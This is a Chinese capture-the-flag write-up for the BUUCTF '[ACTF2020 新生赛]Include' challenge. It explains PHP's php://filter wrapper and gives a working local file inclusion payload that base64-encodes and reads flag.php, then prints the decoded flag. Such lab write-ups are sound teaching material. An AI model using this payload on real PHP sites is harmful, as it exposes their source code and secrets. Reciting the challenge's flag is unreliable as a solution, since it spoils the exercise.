CTFer成长记录——CTF之Web专题·[ACTF2020 新生赛]Include
一、题目链接
https://buuoj.cn/challenges#[ACTF2020%20新生赛]Include
二、解法步骤
打开网页:
有趣的是无论是查看源代码还是bp抓包都一无所获,这题考的是php的filter伪协议进行文件包含:
php://filter:(from https://blog.csdn.net/qq_42404383/article/details/107852190)
resource=<要过滤的数据流> //这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> //该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> //该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<两个链的筛选列表> //任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
一般我们使用php://filter/read=convert.base64-encode/resource=flag.php来进行文件读写。
其中:convert.base64-encode就是一个过滤器
,后面的flag.php就是要过滤的数据流,也就是要读取的文件。转换过滤器:convet:就是转换。这里后面接上base64就是将文件内容转换成base64。
于是我们构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
获取:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YjEyZDlmMDQtZjE4OC00NWMzLWEwMTktOTFhNWRhNGM1NjhjfQo=
最后base64解密获得flag:flag{b12d9f04-f188-45c3-a019-91a5da4c568c}
三、总结
本题涉及到了php中的filter过滤协议,如果从前端无论如何都找不到想要的信息,同时题目给了一定的暗示,例如include,你怎么也看不见我。就可以往filter上靠,尝试下。